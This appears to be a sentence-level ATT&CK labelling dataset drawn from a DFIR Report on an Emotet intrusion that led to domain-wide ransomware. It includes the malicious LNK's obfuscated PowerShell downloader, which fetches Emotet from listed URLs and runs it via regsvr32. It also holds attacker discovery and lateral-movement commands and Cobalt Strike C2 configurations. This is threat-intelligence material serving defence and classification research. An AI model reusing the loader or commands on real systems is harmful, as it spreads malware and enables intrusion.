\"&{'p8ArwZsj8ZO+Zy/dHPeI+siGhbaxtEhzwmd3zVObm9uG2CGKqz5m4AdzKWWzPmKrjJieG4O9';$BxQ='uYnIvc3RhdHMvUkppMnJRSTRRWHJXQ2ZnZG1pLyIsImh0dHBzOi8vd3d3LmVsYWJvcm8ucGwvaW1ncy9KWkgyR0lIdG9PNy8iLCJodHRwczovL2 VsLWVuZXJnaWFraS5nci93cC1pbmNsdWRlcy9JZHJWS09HWU1Rb2R1N0lsT0loLyIsImh0dHA6Ly9kcmVjaHNsZXJzdGFtbXRpc2NoLmRlL2ZvbnRzL1pBeVhic2YvIiwiaHR0cDovL2RobmNvbnN0cnVjY2lvbmVzLmNvbS5hci93cC1hZG1pbi9TbTAyWnNWRFlXZG9UYjdycUw vIiwiaHR0cDovL2RpbHNybC5jb20vcGhvbmUvcGZpcDVtLyIpOyR0PSJuZldGUSI7JGQ9IiRlbnY6VE1QXC4uXCR0Ijtta2RpciAtZm9yY2UgJGQgfCBvdXQtbnVsbDtmb3JlYWNoICgkdSBpbiAkbGlua3MpIHt0cnkge0lXUiAkdSAtT3V0RmlsZSAkZFxqeEtQSXJNRnhKLk9P ZjtSZWdzdnIzMi5leGUgIiRkXGp4S1BJck1GeEouT09mIjticmVha30gY2F0Y2ggeyB9fQ==';$KOKN='ICBXcml0ZS1Ib3N0ICJBcFBoUiI7JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cHM6Ly9kZXNjb250YWRvci5jb20';$KO KN=$KOKN+$BxQ;$GBUus=$KOKN;$xCyRLo=[System.Text.Encoding]::ASCII.GetString([System.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Convert]::FromBase64String($GBUus));$GBUus=$xCyRLo;iex($GBUus)}\" The Powershell script, when double clicked (executed), will attempt to connect to a set of domains containing the Emotet malware.", "labels": ["T1204.002"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Upon successful download of the Emotet malware, the PowerShell script will write it to a temporary directory and execute the payload via regsvr32.exe.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "It is interesting to note, the LNK identifies the machine it was created on through the NetBIOS name of black-dog and a MAC Address beginning with 08:00:27 indicating a system running on Virtualbox.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Machine ID: black-dog MAC Address: 08:00:27:c6:74:5d MAC Vendor: PCS SYSTEMTECHNIK Creation: 2022-05-12 15:33:49 Execution Once the PowerShell script from the LNK file executed successfully", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": ", Emotet began execution.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Emotet will initially copy itself to a randomly named folder in the users temporary folder.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Multiple instances of Emotet spawning itself was observed over a period of three days.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Almost all the instances of Emotet included three enumeration commands executed: systeminfo ipconfig /all", "labels": ["T1016", "T1082"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "nltest /dclist: Towards the third and fourth day of the intrusion, Cobalt Strike was dropped to disk as a PE executable and executed.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "This access was used to perform enumeration and move laterally to other hosts.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "The following diagram aims to provide an illustration of the execution chain with multiple instances of Emotet leading to Cobalt Strike.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Persistence The Emotet malware has used various persistence methods over time, an example can be seen here.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "On the first day, Emotet established persistence via a run key.", "labels": ["T1547.001"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "As we can see, the regsvr32.exe Windows’s native utility was used to launch the Emotet DLL.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "After moving to the hands on keyboard phase of the intrusion, the threat actors proceeded to deploy several remote management tools across the environment.", "labels": ["T1219"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Tactical RMM was the first tool chosen for deployment.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Tactical RMM is a remote management software platform that uses a combination of agents to allow for remote management and access to systems.", "labels": ["T1219"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "The file 17jun.exe, was deployed into the programdata folder on one of the servers.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "This was then executed by the threat actors and resulted in the installation of the main RMM agent.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "The install completed with the following command.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "\"C:\\Program Files\\TacticalAgent\\tacticalrmm.exe\" -m install --api https://api.floppasoftware[.]com --client-id 1 --site-id 1 --agent-type server --auth 5bc5f5263224697ff9a653f8efa7e7d7a2ce341920a03c60e4823331b2508c", "labels": ["T1543.003"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "A service was also created for the agent.", "labels": ["T1543.003"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Event 7045A service was installed in the system.", "labels": ["T1543.003"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Service Name: TacticalRMM Agent ServiceService File Name: \"C:\\Program Files\\TacticalAgent\\tacticalrmm.exe\"", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "-m svcService Type: user mode serviceService Start Type: auto startService Account:", "labels": ["T1543.003"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "LocalSystem Along with the tacticalrmm.exe client, a second executable called meshagent.exe, was installed to handle remote session interaction, and a separate service was created for that agent.", "labels": ["T1543.003"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Service Name: Mesh AgentService File Name: \"C:\\Program Files\\Mesh Agent\\MeshAgent.exe\"Service Type: user mode serviceService Start Type: auto startService Account:", "labels": ["T1543.003"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "LocalSystem On the final day of the intrusion, the threat actors added AnyDesk to the same server running Tactical RMM, providing an additional means of access prior to the deployment of ransomware.", "labels": ["T1219", "T1543.003"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Service Name: AnyDesk ServiceService File Name: \"C:\\Program Files (x86)\\AnyDesk\\AnyDesk.exe\" --serviceService", "labels": ["T1543.003"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Type: user mode serviceService Start Type: auto startService Account:", "labels": ["T1543.003"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "LocalSystem Privilege Escalation We suspect a failed ZeroLogon exploit was attempted against a domain controller, originating from the beachhead host with Cobalt Strike running on it.", "labels": ["T1543.003"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "One indicator is the ‘mimikatz’ string in the Netlogon event that is used by the Mimikatz Zerologon implementation.", "labels": ["T1003.001"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "During a period of a few seconds, multiple NetrServerReqChallenge and NetrServerAuthenticate2 methods in the traffic from a single source were observed, this is one of the indicators of a Zerologon attempt.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Defense Evasion Process Injection The threat actor was observed process injecting into legitimate process and using them to execute their own tasks on the system, this can be seen from Winlogon connecting to a domain associated with a Cobalt Strike server and removing files from the system.", "labels": ["T1055", "T1070.004"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "The specific mechanism used to inject into a foreign process, was injecting arbitrary code into its memory space, and executing it as a remotely created thread.", "labels": ["T1055"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "This occurred from rundll32.exe, which was previously used to execute and run Cobalt Strike.", "labels": ["T1218.011"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "The following table summarizes the processes used for injection during this case: Injected Process Name Injection Payload C:\\Windows\\system32\\winlogon.exe Cobalt Strike C:\\Windows\\System32\\RuntimeBroker.exe Cobalt Strike C:\\Windows\\System32\\svchost.exe Cobalt Strike C:\\Windows\\System32\\taskhostw.exe Cobalt Strike C:\\Windows\\system32\\dllhost.exe Cobalt Strike PowerTool PowerTool was observed, dropped and executed on the server used to deploy the ransomware payload.", "labels": ["T1055", "T1105"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "This tool has the ability to kill a process, delete its process file, unload drivers, and delete the driver files.", "labels": ["T1070.004"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "It has been reportedly used by several ransomware groups to aid in their operations [1][2][3][4].", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "As a byproduct of execution, PowerTool will drop a driver to disk and load it into the system.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Driver Signature Name:", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "北京华林保软件技术有限公司 Indicator Removal The threat actor was observed deleting files that had been dropped to disk.", "labels": ["T1027"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Credential Access Process access to LSASS was observed, likely to dump credentials from a process that was injected with Cobalt Strike.", "labels": ["T1003.001", "T1055"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "The Granted Access level matches know indicators for Mimikatz with an access value of 0x1010 (4112), as we covered in a prior report.", "labels": ["T1003.001"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "We also observed a Cobalt Strike executable request access level of 0x0040 (64) to LSASS, as well indicating other credential access tools may have been in use by the threat actor.", "labels": ["T1003.001"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Discovery During the initial Emotet execution, three automated discovery commands were observed.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "These were then repeated, seen occurring once a day from the Emotet host. systeminfo ipconfig /all", "labels": ["T1016", "T1082"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "nltest /dclist: Multiple commands responsible for enumerating Active Directory groups, domain joined computers, and domain trusts, were executed via Cobalt Strike on the beachhead.", "labels": ["T1033"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "whoami /groups net group /domain net group \"domain computers\" /domain", "labels": ["T1033"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "net group /domain", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "\"Domain controllers\" net group \"domain admins\" /domain nltest /trusted_domains", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "The threat actor was observed querying a non-existent group Domain controller, followed by a command correcting the mistake that queried the group Domain controllers .", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "\"Domain controller\" net group /domain", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "\"Domain controllers\" A ping command issued to a user workstation and a domain controller were observed moments before lateral movement was attempted.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "ping COMPUTER.REDACTED.local Invoke-ShareFinder was observed being used via Powershell in the environment from an injected process with Cobalt Strike:", "labels": ["T1055"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "In addition to the Invoke-ShareFinder command, other functions that were used by the script were also observed.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "The remnants of Invoke-ShareFinder could also be seen on the network through the consistent querying of “ADMIN$” and “C$” shares for each host over a short period of time.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "In addition to these shares, a few shares from the file servers were also accessed.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Once on the domain controller, two batch files were run.", "labels": ["T1059.003"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "The first find.bat was used to run AdFind.exe for Active Directory discovery.", "labels": ["T1059.003"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "find.exe -f", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "\"objectcategory=computer\" find.exe -f \"(objectcategory=organizationalUnit)\" find.exe -subnets -f (objectCategory=subnet) find.exe -f \"(objectcategory=group)\" find.exe -gcb -sc trustdmp The second script, p.bat, was run to sweep the network using ping, looking for network connectivity and online hosts.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "On the final day, prior to ransom deployment, the threat actor also dropped netscan.exe on the server, and executed it from the Tactical RMM meshagent.exe session.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "C:\\Windows\\System32\\mstsc mstsc.exe /v:", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "IP_ADDRESS_1 C:\\Windows\\System32\\mstsc mstsc.exe /v:IP_ADDRESS_2 C:\\Windows\\SysWOW64\\explorer.exe \"C:\\Windows\\SysWOW64\\explorer.exe\" \\\\IP_ADDRESS_1\\C$ C:\\Windows\\SysWOW64\\explorer.exe \"C:\\Windows\\SysWOW64\\explorer.exe\" \\\\IP_ADDRESS_2\\C$ Lateral Movement Cobalt Strike Remote Service Creation The threat actor was observed creating remote services in order to execute beacon DLL files transferred via SMB as SYSTEM on remote hosts.", "labels": ["T1059.003", "T1218.011", "T1543.003", "T1569.002", "T1570"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "C:\\Windows\\System32\\cmd.exe /c rundll32.exe C:\\ProgramData\\x86.dll, StartA WMI", "labels": ["T1059.003", "T1218.011"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "In another instance, an executable Cobalt Strike beacon was copied via SMB to a target machine, and then executed via WMI.", "labels": ["T1047", "T1570"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "wmic /node:IP_Address process call create \"cmd.exe /c start C:\\Progradata\\sc_https_x64.exe\" Remote Desktop Lastly, traces of RDP (Remote Desktop Protocol) connections were discovered on multiple compromised hosts utilized for lateral movement on the final day of the intrusion and during the ransomware deployment.", "labels": ["T1021.001", "T1047", "T1059.003"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Collection On the third day of the intrusion, after moving laterally, the threat actors began to review sensitive documents stored on network shares, including revenue, insurance, and password storage documents.", "labels": ["T1005"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "These documents were again reviewed by the threat actor on the final day of the intrusion.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Later the threat actor viewed the stolen files off network, observed by triggered canary tokens, which revealed connections from an AWS EC2 instance. Command and Control Emotet The Emotet loader pulled the main second stage payload from the following domains:", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "hxxps://descontador[.]com[.]br hxxps://www.elaboro[.]pl hxxps://el-energiaki[.]gr hxxp://drechslerstammtisch[.]de hxxp://dhnconstrucciones[.]com[.]ar hxxp://dilsrl[.]com The second stage loader had multiple IP addresses in its configuration to attempt connections to: 103.159.224.46 103.75.201.2 119.193.124.41 128.199.225.17 131.100.24.231 139.59.60.88 144.217.88.125 146.59.226.45", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "149.56.131.28 159.89.202.34 165.22.211.113 165.227.166.238 178.128.82.218 209.126.98.206 213.32.75.32 37.187.115.122 45.226.53.34 45.55.134.126 46.55.222.11 51.210.176.76 51.254.140.238 54.37.70.105 82.223.82.69 91.207.181.106 92.114.18.20 94.23.45.86 96.125.171.16 Cobalt Strike The following Cobalt Strike C2 servers were observed being used.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Both HTTP and HTTPS were observed to be used.", "labels": ["T1071.001"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "139.60.161.167 (survefuz[.]com) 139.60.160.18 (juanjik[.]com) 139.60.161.167 (survefuz[.]com) JA3s: 211897664d51cffdfd7f78d684602ecc JA3: a0e9f5d64349fb13191bc781f81f42e1 Certificate: 03:4e:01:cb:d0:d4:40:24:ad:e0:cd:81:9f:00:44:0f:1e:de Not Before: May 24 11:25:15 2022 GMT Not After: Aug 22 11:25:14 2022 GMT Issuer Org: Let's Encrypt Subject Common: survefuz[.]com Public Algorithm: id-ecPublicKey 139.60.160.18 (juanjik[.]com) JA3s: 211897664d51cffdfd7f78d684602ecc JA3: a0e9f5d64349fb13191bc781f81f42e1 Certificate: 04:ea:aa:59:1e:c6:50:6e:d3:70:d4:24:50:f0:a5:30:9a:e6 Not Before: Jun 14 17:38:08 2022 GMT Not After: Sep 12 17:38:07 2022 GMT Issuer Org: Let's Encrypt Subject Common: juanjik[.]com", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Public Algorithm: rsaEncryption The following are the Cobalt Strike configurations observed: 139.60.161.167 (survefuz[.]com) { \"beacontype\": [ \"HTTP\" ], \"sleeptime\": 45000, \"jitter\": 37, \"maxgetsize\": 1403644, \"spawnto\": \"AAAAAAAAAAAAAAAAAAAAAA==\", \"license_id\": 206546002, \"cfg_caution\": false, \"kill_date\": null, \"server\": { \"hostname\": \"survefuz[.]com\", \"port\": 80, \"publickey\": \"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCqoyVkBHx713LeUHmw7FAozt15LWTMgX1nCLSXECllryUTD8E7tTjJLIy4Hg27yiG56NFyXzCzL70T7HPzWGd7fJN1H5exgB19psw4c1qwuqkWLlO8GDOT6gFzQwY0FA/eKvDfgxatj387yoR2U+hfo0I0GiO4x4V7c9ow/OlHXwIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==\" }, \"host_header\": \"\", \"useragent_header\": null, \"http-get\": { \"uri\": \"/jquery-3.3.1.min.js\", \"verb\": \"GET\", \"client\": { \"headers\": null, \"metadata\": null }, \"server\": { \"output\": [ \"print\", \"append 1522 characters\", \"prepend 84 characters\", \"prepend 3931 characters\", \"base64url\", \"mask\" ] } }, \"http-post\": { \"uri\": \"/jquery-3.3.2.min.js\", \"verb\": \"POST\", \"client\": { \"headers\": null, \"id\": null, \"output\": null } }, \"tcp_frame_header\": \"AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\", \"crypto_scheme\": 0, \"proxy\": { \"type\": null, \"username\": null, \"password\": null, \"behavior\": \"Use IE settings\" }, \"http_post_chunk\": 0, \"uses_cookies\": true, \"post-ex\": { \"spawnto_x86\": \"%windir%\\\\syswow64\\\\dllhost.exe\", \"spawnto_x64\": \"%windir%\\\\sysnative\\\\dllhost.exe\" }, \"process-inject\": { \"allocator\": \"NtMapViewOfSection\", \"execute\": [ \"CreateThread 'ntdll!RtlUserThreadStart'\", \"CreateThread\", \"NtQueueApcThread-s\", \"CreateRemoteThread\", \"RtlCreateUserThread\" ], \"min_alloc\": 17500, \"startrwx\": false, \"stub\": \"yl5rgAigihmtjA5iEHURzg==\", \"transform-x86\": [ \"prepend '\\\\x90\\\\x90'\" ], \"transform-x64\": [ \"prepend '\\\\x90\\\\x90'\" ], \"userwx\": false }, \"dns-beacon\": { \"dns_idle\": null, \"dns_sleep\": null, \"maxdns\": null, \"beacon\": null, \"get_A\": null, \"get_AAAA\": null, \"get_TXT\": null, \"put_metadata\": null, \"put_output\": null }, \"pipename\": null, \"smb_frame_header\": \"AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\", \"stage\": { \"cleanup\": true }, \"ssh\": { \"hostname\": null, \"port\": null, \"username\": null, \"password\": null, \"privatekey\": null } } 139.60.160.18:80 (juanjik[.]com) { \"spawnto\": \"AAAAAAAAAAAAAAAAAAAAAA==\", \"dns_beacon\": {}, \"smb_frame_header\": \"AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\", \"post_ex\": { \"spawnto_x64\": \"%windir%\\\\sysnative\\\\dllhost.exe\", \"spawnto_x86\": \"%windir%\\\\syswow64\\\\dllhost.exe\" }, \"stage\": { \"cleanup\": true }, \"process_inject\": { \"stub\": \"yl5rgAigihmtjA5iEHURzg==\", \"transform_x64\": [ \"prepend '\\\\x90\\\\x90'\" ], \"transform_x86\": [ \"prepend '\\\\x90\\\\x90'\" ], \"startrwx\": false, \"min_alloc\": \"17500\", \"userwx\": false, \"execute\": [ \"CreateThread 'ntdll!RtlUserThreadStart'\", \"CreateThread\", \"NtQueueApcThread-s\", \"CreateRemoteThread\", \"RtlCreateUserThread\" ], \"allocator\": \"NtMapViewOfSection\" }, \"uses_cookies\": true, \"http_post_chunk\": \"0\", \"ssh\": {}, \"maxgetsize\": \"1403644\", \"proxy\": { \"behavior\": \"Use IE settings\" }, \"tcp_frame_header\": \"AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\", \"server\": { \"publickey\": \"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCbFjn9w4cE3slYf3jYqTw3S+6HxAGZd3cMpTqKnDsmGAmCsll4R4jp5yz2SnrpRz8brvoZNotuWhqu71R0FqaAkaaheF5MrOHJBbCvGKDu4m6RZ0DHicJCpj6YIm0FLHNNZugHhV5Ou9lZaseCTECMnk0rXiwTsiRWv9ikRccwHwIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==\", \"port\": \"443\", \"hostname\": \"juanjik[.]com\" }, \"beacontype\": [ \"HTTPS\" ], \"license_id\": \"206546002\", \"jitter\": \"37\", \"sleeptime\": \"45000\", \"http_get\": { \"server\": { \"output\": [ \"print\", \"append 1522 characters\", \"prepend 84 characters\", \"prepend 3931 characters\", \"base64url\", \"mask\" ] }, \"client\": { \"metadata\":", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "[], \"headers\": [] }, \"verb\": \"GET\", \"uri\": \"/jquery-3.3.1.min.js\" }, \"cfg_caution\": false, \"host_header\": \"\", \"crypto_scheme\": \"0\", \"http_post\": { \"client\": { \"output\": [], \"id\": [], \"headers\": [] }, \"verb\": \"POST\", \"uri\": \"/jquery-3.3.2.min.js\" } } 139.60.160.18:443 (juanjik[.]com) { \"spawnto\": \"AAAAAAAAAAAAAAAAAAAAAA==\", \"dns_beacon\": {}, \"smb_frame_header\": \"AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\", \"post_ex\": { \"spawnto_x64\": \"%windir%\\\\sysnative\\\\dllhost.exe\", \"spawnto_x86\": \"%windir%\\\\syswow64\\\\dllhost.exe\" }, \"stage\": { \"cleanup\": true }, \"process_inject\": { \"stub\": \"yl5rgAigihmtjA5iEHURzg==\", \"transform_x64\": [ \"prepend '\\\\x90\\\\x90'\" ], \"transform_x86\": [ \"prepend '\\\\x90\\\\x90'\" ], \"startrwx\": false, \"min_alloc\": \"17500\", \"userwx\": false, \"execute\": [ \"CreateThread 'ntdll!RtlUserThreadStart'\", \"CreateThread\", \"NtQueueApcThread-s\", \"CreateRemoteThread\", \"RtlCreateUserThread\" ], \"allocator\": \"NtMapViewOfSection\" }, \"uses_cookies\": true, \"http_post_chunk\": \"0\", \"ssh\": {}, \"maxgetsize\": \"1403644\", \"proxy\": { \"behavior\": \"Use IE settings\" }, \"tcp_frame_header\": \"AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\", \"server\": { \"publickey\": \"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCbFjn9w4cE3slYf3jYqTw3S+6HxAGZd3cMpTqKnDsmGAmCsll4R4jp5yz2SnrpRz8brvoZNotuWhqu71R0FqaAkaaheF5MrOHJBbCvGKDu4m6RZ0DHicJCpj6YIm0FLHNNZugHhV5Ou9lZaseCTECMnk0rXiwTsiRWv9ikRccwHwIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==\", \"port\": \"80\", \"hostname\": \"juanjik[.]com\" }, \"beacontype\": [ \"HTTP\" ], \"license_id\": \"206546002\", \"jitter\": \"37\", \"sleeptime\": \"45000\", \"http_get\": { \"server\": { \"output\": [ \"print\", \"append 1522 characters\", \"prepend 84 characters\", \"prepend 3931 characters\", \"base64url\", \"mask\" ] }, \"client\": { \"metadata\":", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "[], \"headers\": [] }, \"verb\": \"GET\", \"uri\": \"/jquery-3.3.1.min.js\" }, \"cfg_caution\": false, \"host_header\": \"\", \"crypto_scheme\": \"0\", \"http_post\": { \"client\": { \"output\": [], \"id\": [], \"headers\": [] }, \"verb\": \"POST\", \"uri\": 